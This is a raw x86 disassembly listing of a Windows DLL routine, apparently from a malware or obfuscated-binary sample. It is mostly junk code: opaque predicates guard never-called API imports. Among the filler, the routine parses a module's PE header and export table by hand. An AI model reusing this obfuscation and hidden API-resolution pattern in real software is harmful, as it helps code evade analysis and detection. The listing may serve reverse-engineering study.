cmp dword [ebp - 0x380], 0
je 0x100429ca
mov dword [ebp - 0xb38], 1
jmp 0x100429d1
and dword [ebp - 0xb38], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x444]
mov dword [ebp - 0xb40], eax
jmp 0x100428ac
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa3c]
call fcn.10009ce4
mov eax, dword [0x1060e07c]
cmp eax, dword [ebp - 0x364]
je 0x10042a11
mov eax, dword [0x1060e1e0]
cmp eax, dword [ebp - 0x364]
jne 0x10042a29
mov ecx, dword [ebp + 0xc]
call fcn.100144ba
push eax
push dword [ebp + 8]
call fcn.1003a12a
pop ecx
pop ecx
jmp 0x1004650b
mov dword [ebp - 0x20], 0x76820624
mov dword [ebp - 0xd1c], 0x76ff55e0
mov dword [ebp - 0xd18], 0x76ff55e0
mov dword [ebp - 0xd14], 0x76ff55e0
mov dword [ebp - 0xd10], 0x76ff55e0
mov dword [ebp - 0x18c], 0xebd004dd
mov dword [ebp - 0x20], 1
jmp 0x10042a72
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xf
je 0x10042bb3
mov dword [ebp - 0x168], 0x307b5ca9
mov dword [ebp - 0x168], 3
jmp 0x10042a9f
mov eax, dword [ebp - 0x168]
dec eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0
jl 0x10042bae
mov dword [ebp - 0x528], 0xfffffffe
mov dword [ebp - 0x22c], 0
jmp 0x10042acf
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 1
jge 0x10042aeb
mov eax, dword [ebp - 0x22c]
mov dword [ebp + eax*4 - 0xae4], 0
jmp 0x10042ac2
cmp dword [ebp - 0x168], 0
jne 0x10042b00
mov eax, dword [ebp - 0x168]
cmp eax, dword [ebp - 0x528]
mov eax, dword [ebp - 0x528]
mov dword [ebp - 0xfec], eax
push 9
pop eax
cmp eax, 0x6df7e441
jl 0x10042b22
mov dword [ebp - 0x530], 1
jmp 0x10042b29
and dword [ebp - 0x530], 0
cmp dword [ebp - 0x530], 0x193c
jl 0x10042b41
mov dword [ebp - 0x538], 1
jmp 0x10042b48
and dword [ebp - 0x538], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xae4]
cmp dword [ebp - 0x538], eax
jl 0x10042b69
mov dword [ebp - 0x540], 1
jmp 0x10042b70
and dword [ebp - 0x540], 0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xd1c], 3
cmp dword [ebp - 0x540], 3
jg 0x10042b96
mov dword [ebp - 0x548], 1
jmp 0x10042b9d
and dword [ebp - 0x548], 0
mov eax, dword [ebp - 0x548]
mov dword [ebp - 0x18c], eax
jmp 0x10042a92
jmp 0x10042a6b
mov dword [ebp - 0x18c], 0
jmp 0x10042bcc
mov eax, dword [ebp - 0x18c]
dec eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0xfffffff9
je 0x10042ef8
push 3
lea ecx, [ebp - 0xc18]
call fcn.10009c88
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0xaec], 0xfffffff8
mov dword [ebp - 0xc40], 1
mov dword [ebp - 0x234], 0
jmp 0x10042c1a
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 3
jge 0x10042c3c
push dword [ebp - 0x234]
lea ecx, [ebp - 0xc18]
call fcn.10009d00
mov dword [eax], 0xb5c4
jmp 0x10042c0d
mov byte [ebp - 0x10d], 0
movzx eax, byte [ebp - 0x10d]
test eax, eax
je 0x10042c59
push 0x7eb
call dword [sym.imp.USER32.dll_HideCaret]
mov dword [ebp - 0x20], 3
jmp 0x10042c69
mov eax, dword [ebp - 0x20]
dec eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jl 0x10042ee4
mov dword [ebp - 0x1a4], 0xffffffff
mov dword [ebp - 0x384], 0x826243a5
mov dword [ebp - 0x1a4], 0
jmp 0x10042ca0
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 3
jg 0x10042edf
push 1
lea ecx, [ebp - 0xc08]
call fcn.10009c88
mov byte [ebp - 4], 0x1e
mov dword [ebp - 0x23c], 0
jmp 0x10042cd7
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 1
jge 0x10042cf9
push dword [ebp - 0x23c]
lea ecx, [ebp - 0xc08]
call fcn.10009d00
mov dword [eax], 0x90e69cd1
jmp 0x10042cca
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x550], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x550]
mov dword [ebp + eax*4 - 0xd1c], ecx
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x550]
je 0x10042d29
mov dword [ebp - 0x580], 1
jmp 0x10042d30
and dword [ebp - 0x580], 0
push 2
lea ecx, [ebp - 0xc18]
call fcn.10009d00
cmp dword [eax], 0
jne 0x10042d4e
mov dword [ebp - 0x570], 1
jmp 0x10042d55
and dword [ebp - 0x570], 0
mov esi, dword [ebp - 0x20]
push 0
lea ecx, [ebp - 0xc08]
call fcn.10009d00
mov eax, dword [eax]
sub eax, 0x1fdf
cmp eax, esi
jl 0x10042d83
push 9
pop eax
test eax, eax
je 0x10042d83
mov dword [ebp - 0x558], 1
jmp 0x10042d8a
and dword [ebp - 0x558], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x558], eax
jle 0x10042da1
mov dword [ebp - 0x560], 1
jmp 0x10042da8
and dword [ebp - 0x560], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x560], eax
jl 0x10042dbf
mov dword [ebp - 0x568], 1
jmp 0x10042dc6
and dword [ebp - 0x568], 0
push 0
lea ecx, [ebp - 0xc08]
call fcn.10009d00
mov esi, dword [ebp - 0x568]
sub esi, dword [eax]
push 2
lea ecx, [ebp - 0xc18]
call fcn.10009d00
cmp esi, dword [eax]
jle 0x10042df8
mov dword [ebp - 0x578], 1
jmp 0x10042dff
and dword [ebp - 0x578], 0
mov eax, dword [ebp - 0x570]
mov dword [ebp - 0x384], eax
mov eax, dword [ebp - 0x578]
sub eax, dword [ebp - 0x1a4]
cmp dword [ebp - 0x384], eax
jl 0x10042e2b
mov dword [ebp - 0xbac], 1
jmp 0x10042e32
and dword [ebp - 0xbac], 0
mov eax, dword [ebp - 0xaec]
mov dword [ebp - 0xff4], eax
cmp dword [ebp - 0x384], 0
je 0x10042e59
cmp dword [ebp - 0x20], 0
je 0x10042e59
mov dword [ebp - 0x588], 1
jmp 0x10042e60
and dword [ebp - 0x588], 0
push 0
lea ecx, [ebp - 0xc08]
call fcn.10009d00
mov esi, dword [ebp - 0x580]
imul esi, dword [eax]
imul esi, dword [ebp - 0x588]
push 2
lea ecx, [ebp - 0xc18]
call fcn.10009d00
cmp esi, dword [eax]
jge 0x10042e9a
mov dword [ebp - 0x590], 1
jmp 0x10042ea1
and dword [ebp - 0x590], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x590], eax
jl 0x10042eb8
mov dword [ebp - 0x598], 1
jmp 0x10042ebf
and dword [ebp - 0x598], 0
mov eax, dword [ebp - 0x598]
mov dword [ebp - 0xc40], eax
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0xc08]
call fcn.10009ce4
jmp 0x10042c93
jmp 0x10042c62
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc18]
call fcn.10009ce4
jmp 0x10042bbf
mov eax, dword [ebp + 8]
mov dword [ebp - 0x254], eax
mov dword [ebp - 0x4c], 0xcb50
mov dword [ebp - 0x50], 0x8708ef6b
mov dword [ebp - 0xc74], 0x514faf14
mov dword [ebp - 0x244], 0
jmp 0x10042f32
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 1
jge 0x10042f4e
mov eax, dword [ebp - 0x244]
mov dword [ebp + eax*4 - 0x38c], 0xe16
jmp 0x10042f25
cmp dword [ebp - 0x4c], 0
jne 0x10042f5e
cmp dword [ebp - 0x4c], 0
je 0x100430b3
cmp dword [ebp - 0x50], 1
jg 0x100430b3
mov dword [ebp - 0x5a8], 0xffffffff
mov dword [ebp - 0xafc], 0xcc9f
mov dword [ebp - 0x50], 0
jmp 0x10042f8c
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jg 0x100430ae
mov dword [ebp - 0x24c], 0xcf041577
mov dword [ebp - 0x4c], 0
jmp 0x10042fb0
mov eax, dword [ebp - 0x4c]
dec eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jl 0x10043097
mov eax, dword [ebp - 0x4c]
cmp dword [ebp + eax*4 - 0x38c], 0xecb302af
jne 0x10042fd6
mov dword [ebp - 0x5a0], 1
jmp 0x10042fdd
and dword [ebp - 0x5a0], 0
mov eax, dword [ebp - 0x5a8]
cmp eax, dword [ebp - 0x5a0]
jne 0x10042ff7
mov dword [ebp - 0xaf4], 1
jmp 0x10042ffe
and dword [ebp - 0xaf4], 0
mov eax, dword [ebp - 0x24c]
mov dword [ebp - 0xffc], eax
mov eax, dword [ebp - 0x5a8]
cmp eax, dword [ebp - 0x50]
jle 0x10043021
mov dword [ebp - 0x5b0], 1
jmp 0x10043028
and dword [ebp - 0x5b0], 0
mov eax, dword [ebp - 0x24c]
cmp dword [ebp - 0x5b0], eax
jg 0x10043042
mov dword [ebp - 0x5b8], 1
jmp 0x10043049
and dword [ebp - 0x5b8], 0
mov eax, dword [ebp - 0x24c]
cmp dword [ebp - 0x5b8], eax
je 0x10043063
mov dword [ebp - 0xbb4], 1
jmp 0x1004306a
and dword [ebp - 0xbb4], 0
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x38c]
mov dword [ebp - 0xe70], eax
mov dword [ebp - 0xafc], 0xffffffff
cmp dword [ebp - 0x24c], 0
je 0x10043092
jmp 0x10042fa9
jmp 0x10042fa9
mov eax, dword [ebp - 0x50]
cmp dword [ebp + eax*4 - 0x38c], 0
je 0x100430a9
jmp 0x10042f85
jmp 0x10042f85
jmp 0x10043139
mov dword [ebp - 0x4c], 0xfffffffe
jmp 0x100430c3
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0x1d
jl 0x10043139
mov dword [ebp - 0x194], 0xf23e4692
mov dword [ebp - 0x50], 0
jmp 0x100430e3
mov eax, dword [ebp - 0x50]
dec eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0xfffffffe
jg 0x10043137
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0xc74], eax
mov dword [ebp - 0x194], 0
jmp 0x1004310e
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0xc
jg 0x10043135
mov dword [ebp - 0xb04], 0xefe0c237
mov dword [ebp - 0xb04], 0x339b8842
cmp dword [ebp - 0x50], 0
je 0x10043133
jmp 0x10043101
jmp 0x10043101
jmp 0x100430dc
jmp 0x100430bc
mov byte [ebp - 0x10e], 0
movzx eax, byte [ebp - 0x10e]
test eax, eax
je 0x10043153
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
cmp dword [ebp - 0x254], 0
je 0x10046509
mov eax, dword [ebp - 0x254]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x10046509
mov dword [ebp - 0x1b4], 9
mov dword [ebp - 0x1b4], 0
jmp 0x10043197
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0xf
je 0x100431cb
mov byte [ebp - 0x10f], 0
movzx eax, byte [ebp - 0x10f]
test eax, eax
je 0x100431be
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
cmp dword [ebp - 0x1b4], 0
je 0x100431c9
jmp 0x1004318a
jmp 0x1004318a
mov eax, dword [ebp - 0x254]
mov ecx, dword [ebp - 0x254]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x1b0], ecx
mov dword [ebp - 0x60], 0xd94b4b13
mov dword [ebp - 0x58], 1
push 2
lea ecx, [ebp - 0xa48]
call fcn.10009c88
mov dword [ebp - 4], 0x1f
mov dword [ebp - 0x160], 0x5741
mov dword [ebp - 0x25c], 0
jmp 0x10043225
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 2
jge 0x10043244
push dword [ebp - 0x25c]
lea ecx, [ebp - 0xa48]
call fcn.10009d00
and dword [eax], 0
jmp 0x10043218
cmp dword [ebp - 0x58], 0
jne 0x1004325c
mov eax, 0x7d37
test eax, eax
jne 0x1004325c
and dword [ebp - 0x5c0], 0
jmp 0x10043266
mov dword [ebp - 0x5c0], 1
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x5c0], eax
jne 0x1004327d
mov dword [ebp - 0x5c8], 1
jmp 0x10043284
and dword [ebp - 0x5c8], 0
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x5c8]
jne 0x1004329b
mov dword [ebp - 0x5d0], 1
jmp 0x100432a2
and dword [ebp - 0x5d0], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x5d0], eax
jl 0x100432b9
mov dword [ebp - 0x5d8], 1
jmp 0x100432c0
and dword [ebp - 0x5d8], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x5d8], eax
jle 0x100432d7
mov dword [ebp - 0x5e0], 1
jmp 0x100432de
and dword [ebp - 0x5e0], 0
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x5e0]
jl 0x100432f5
mov dword [ebp - 0x5e8], 1
jmp 0x100432fc
and dword [ebp - 0x5e8], 0
mov dword [ebp - 0x60], 0xfffffffa
mov esi, dword [ebp - 0x5e8]
inc esi
push 0
lea ecx, [ebp - 0xa48]
call fcn.10009d00
sub esi, dword [eax]
cmp dword [ebp - 0x60], esi
jne 0x1004332a
mov dword [ebp - 0xbbc], 1
jmp 0x10043331
and dword [ebp - 0xbbc], 0
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x1034], eax
mov esi, dword [ebp - 0x160]
push 1
lea ecx, [ebp - 0xa48]
call fcn.10009d00
imul esi, dword [eax]
imul eax, esi, 0
test eax, eax
jne 0x10043366
mov dword [ebp - 0xb0c], 1
jmp 0x1004336d
and dword [ebp - 0xb0c], 0
push 0
lea ecx, [ebp - 0xa48]
call fcn.10009d00
mov eax, 0x398963ec
cmp eax, 0xf5537c57
jbe 0x10043392
mov dword [ebp - 0x5f0], 1
jmp 0x10043399
and dword [ebp - 0x5f0], 0
mov eax, dword [ebp - 0x5f0]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x160], 0
jmp 0x100433bb
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 1
jg 0x10043448
mov dword [ebp - 0x60], 0
jmp 0x100433d8
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 1
jg 0x1004340d
mov dword [ebp - 0x58], 0
jmp 0x100433ee
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 1
jg 0x1004340b
push dword [ebp - 0x60]
lea ecx, [ebp - 0xa48]
call fcn.10009d00
cmp dword [eax], 0
je 0x10043409
jmp 0x1004340b
jmp 0x100433e7
jmp 0x100433d1
mov dword [ebp - 0x60], 0
jmp 0x1004341d
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 1
jg 0x10043443
mov byte [ebp - 0x12f], 0
movzx eax, byte [ebp - 0x12f]
test eax, eax
je 0x10043441
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
jmp 0x10043416
jmp 0x100433ae
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa48]
call fcn.10009ce4
mov eax, dword [ebp - 0x1b0]
cmp dword [eax], 0x4550
jne 0x10046509
mov eax, dword [ebp - 0x1b0]
cmp dword [eax + 0x74], 0
jbe 0x10046509
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1b0]
cmp dword [ecx + eax + 0x78], 0
je 0x10046509
mov eax, dword [ebp + 8]
mov dword [ebp - 0x164], eax
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ebp - 0x164]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0xe8], edx
push 1
lea ecx, [ebp - 0xcb0]
call fcn.10009c88
mov dword [ebp - 4], 0x20
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x264], 0
jmp 0x100434ec
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 1
jge 0x1004350e
push dword [ebp - 0x264]
lea ecx, [ebp - 0xcb0]
call fcn.10009d00
mov dword [eax], 0x64a6
jmp 0x100434df
mov byte [ebp - 0xe9], 0
movzx eax, byte [ebp - 0xe9]
test eax, eax
je 0x10043528
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov dword [ebp - 0x17c], 0
jmp 0x10043541
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0
jg 0x10043697
mov dword [ebp - 0x26c], 0xffffffff
mov dword [ebp - 0x394], 0xa13b2885
mov dword [ebp - 0x26c], 0
jmp 0x1004357b
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0
jg 0x10043692
mov dword [ebp - 0x5f8], 0x4163
mov dword [ebp - 0x39c], 5
push 0
lea ecx, [ebp - 0xcb0]
call fcn.10009d00
cmp dword [eax], 0
jae 0x100435ba
mov dword [ebp - 0x600], 1
jmp 0x100435c1
and dword [ebp - 0x600], 0
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x5f8], eax
mov eax, dword [ebp - 0x5f8]
add eax, dword [ebp - 0x39c]
mov ecx, dword [ebp - 0x600]
sub ecx, eax
cmp ecx, 0xa
jg 0x100435f2
mov dword [ebp - 0x608], 1
jmp 0x100435f9
and dword [ebp - 0x608], 0
push 0
lea ecx, [ebp - 0xcb0]
call fcn.10009d00
mov ecx, dword [ebp - 0x608]
cmp ecx, dword [eax]
je 0x1004361c
mov dword [ebp - 0x610], 1
jmp 0x10043623
and dword [ebp - 0x610], 0
mov eax, dword [ebp - 0x610]
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x394]
cmp eax, dword [ebp - 0x39c]
jg 0x1004364f
cmp dword [ebp - 0x394], 0
jne 0x1004364f
and dword [ebp - 0x618], 0
jmp 0x10043659
mov dword [ebp - 0x618], 1
mov eax, dword [ebp - 0x618]
mov dword [ebp - 0x39c], eax
mov byte [ebp - 0x125], 0
movzx eax, byte [ebp - 0x125]
test eax, eax
je 0x1004368d
push 0
push 0
push 0x43b
push 0x133a
push 0
call dword [sym.imp.USER32.dll_InsertMenuW]
jmp 0x1004356e
jmp 0x10043534
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcb0]
call fcn.10009ce4
mov eax, 0xffff
mov word [ebp - 0xb0], ax
mov dword [ebp - 0x27c], 0xfe223643
mov dword [ebp - 0x274], 0
jmp 0x100436d5
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 3
jge 0x100436f1
mov eax, dword [ebp - 0x274]
mov dword [ebp + eax*4 - 0x118c], 0xb55b
jmp 0x100436c8
mov dword [ebp - 0x27c], 2
jmp 0x1004370a
mov eax, dword [ebp - 0x27c]
dec eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0
jl 0x1004375f
mov byte [ebp - 0x131], 0
movzx eax, byte [ebp - 0x131]
test eax, eax
je 0x1004373c
push 0x1ce9
push 0
push 0x193
push 0x1b3a
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
mov byte [ebp - 0x142], 0
movzx eax, byte [ebp - 0x142]
test eax, eax
je 0x1004375d
push 0x11af
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
jmp 0x100436fd
or dword [ebp - 0x15c], 0xffffffff
mov dword [ebp - 0xc48], 0
mov dword [ebp - 0x103c], 0xfffffff7
mov dword [ebp - 0x1044], 0x57bf5cd5
mov dword [ebp - 0x104c], 0xc7a00f47
mov dword [ebp - 0x1054], 0x54165132
mov dword [ebp - 0x105c], 8
push 4
lea ecx, [ebp - 0xfc0]
call fcn.10009c88
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x620], 3
mov dword [ebp - 0x1028], 0xce4a6f44
mov dword [ebp - 0x284], 0
jmp 0x100437e3
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 4
jge 0x10043802
push dword [ebp - 0x284]
lea ecx, [ebp - 0xfc0]
call fcn.10009d00
or dword [eax], 0xffffffff
jmp 0x100437d6
mov dword [ebp - 0xc48], 0xfffffff6
mov eax, dword [ebp - 0x620]
inc eax
mov dword [ebp - 0x620], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfc0]
call fcn.10009ce4
cmp dword [ebp + 0x10], 0
jbe 0x10043d01
mov dword [ebp - 0x678], 0x49ac
mov dword [ebp - 0xc60], 0x10008af8
cmp dword [ebp - 0x678], 0x4d1a
jle 0x10043931
and dword [ebp - 0x29c], 0
jmp 0x1004386c
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0x4846
jge 0x10043931
and dword [ebp - 0x2a4], 0
jmp 0x10043892
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0x7c1
jge 0x1004392c
and dword [ebp - 0x28c], 0
jmp 0x100438b8
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0x2078
jge 0x10043927
and dword [ebp - 0x294], 0
jmp 0x100438da
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0x2a4e
jge 0x10043925
mov eax, dword [ebp - 0x28c]
sub eax, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x29c]
xor ecx, dword [ebp - 0x2a4]
or eax, ecx
cdq
mov dword [ebp - 0xab0], eax
mov dword [ebp - 0xaac], edx
push dword [ebp - 0xaac]
push dword [ebp - 0xab0]
mov ecx, 0x1060cf38
call fcn.100144da
jmp 0x100438cd
jmp 0x100438ab
jmp 0x10043885
jmp 0x1004385f
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x10043cb3
mov dword [ebp - 0x650], 0xffffffff
push 4
lea ecx, [ebp - 0xdf0]
call fcn.10009c88
mov dword [ebp - 4], 0x22
mov dword [ebp - 0xb1c], 3
mov dword [ebp - 0x2c], 0
jmp 0x1004397b
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 1
jge 0x10043991
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x84], 0x9fdf99ff
jmp 0x10043974
mov dword [ebp - 0x2c], 0
jmp 0x100439a1
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x100439b7
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xd0c], 0x543beb71
jmp 0x1004399a
mov dword [ebp - 0x2c], 0
jmp 0x100439c7
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x100439e0
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xdf0]
call fcn.10009d00
and dword [eax], 0
jmp 0x100439c0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x84], 0
jmp 0x10043a0e
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x84]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x84], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x84], 0xfffffff7
jg 0x10043c99
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x150], 0xfffffff3
jmp 0x10043a45
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0x19
jne 0x10043c94
mov dword [ebp - 0x180], 0x9cf1813f
mov dword [ebp - 0x658], 0xb002
mov dword [ebp - 0x2ac], 0
jmp 0x10043a7f
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 1
jge 0x10043a9b
mov eax, dword [ebp - 0x2ac]
mov dword [ebp + eax*4 - 0xbc4], 0x795c380a
jmp 0x10043a72
mov dword [ebp - 0x180], 0
jmp 0x10043ab4
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 1
jg 0x10043ad9
mov byte [ebp - 0x115], 0
movzx eax, byte [ebp - 0x115]
test eax, eax
je 0x10043ad7
push 0
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
jmp 0x10043aa7
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd0c]
mov dword [ebp - 0x180], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x84]
mov dword [ebp - 0x1020], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x658]
cmp ecx, dword [ebp + eax - 0x84]
jne 0x10043b20
mov dword [ebp - 0x628], 1
jmp 0x10043b27
and dword [ebp - 0x628], 0
cmp dword [ebp - 0x628], 0x4e401d93
jg 0x10043b3f
mov dword [ebp - 0x630], 1
jmp 0x10043b46
and dword [ebp - 0x630], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x84]
cmp dword [ebp - 0x630], eax
jg 0x10043b67
mov dword [ebp - 0xb14], 1
jmp 0x10043b6e
and dword [ebp - 0xb14], 0
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0xfd8], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x84], 0x7142
jle 0x10043b99
mov dword [ebp - 0x638], 1
jmp 0x10043ba0
and dword [ebp - 0x638], 0
cmp dword [ebp - 0x638], 0
jb 0x10043bb5
mov dword [ebp - 0x640], 1
jmp 0x10043bbc
and dword [ebp - 0x640], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x640]
sub ecx, dword [ebp - 0x150]
cmp ecx, dword [ebp + eax - 0xd0c]
jne 0x10043be3
mov dword [ebp - 0x648], 1
jmp 0x10043bea
and dword [ebp - 0x648], 0
mov eax, dword [ebp - 0x648]
mov dword [ebp - 0x650], eax
mov eax, dword [ebp - 0x650]
mov dword [ebp - 0xe78], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x84]
mov dword [ebp - 0xf6c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbc4]
add eax, dword [ebp - 0x658]
add eax, 0xfffc
mov dword [ebp - 0x660], eax
push 2
lea ecx, [ebp - 0xdf0]
call fcn.10009d00
mov ecx, dword [ebp - 0x660]
mov dword [eax], ecx
cmp dword [ebp - 0x660], 0x1378
jle 0x10043c60
mov dword [ebp - 0x668], 1
jmp 0x10043c67
and dword [ebp - 0x668], 0
cmp dword [ebp - 0x668], 0
jg 0x10043c7c
mov dword [ebp - 0x670], 1
jmp 0x10043c83
and dword [ebp - 0x670], 0
mov eax, dword [ebp - 0x670]
mov dword [ebp - 0xb1c], eax
jmp 0x10043a38
jmp 0x100439f3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdf0]
call fcn.10009ce4
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0xb0], ax
mov dword [ebp - 4], 0x23
cmp dword [ebp - 0x678], 0x4997
jge 0x10043cd6
mov edx, dword [ebp - 0xc60]
mov ecx, 0x1060cf38
call fcn.10016dcb
jmp 0x10043cf2
or dword [ebp - 4], 0xffffffff
jmp 0x10043cfc
jmp 0x100460ca
mov dword [ebp - 0xe80], 0x7862fd41
mov byte [ebp - 0x144], 0
movzx eax, byte [ebp - 0x144]
test eax, eax
je 0x10043d28
push 0x1e1
call dword [sym.imp.GDI32.dll_GetStockObject]
mov byte [ebp - 0x11d], 0
movzx eax, byte [ebp - 0x11d]
test eax, eax
je 0x10043e51
mov dword [ebp - 0x680], 0x178d
mov dword [ebp - 0xbcc], 0x10008b30
cmp dword [ebp - 0x680], 0x1968
jle 0x10043e02
and dword [ebp - 0x2b4], 0
jmp 0x10043d78
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0x3e2e
jge 0x10043e02
and dword [ebp - 0x2bc], 0
jmp 0x10043d9a
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 0x3088
jge 0x10043dfd
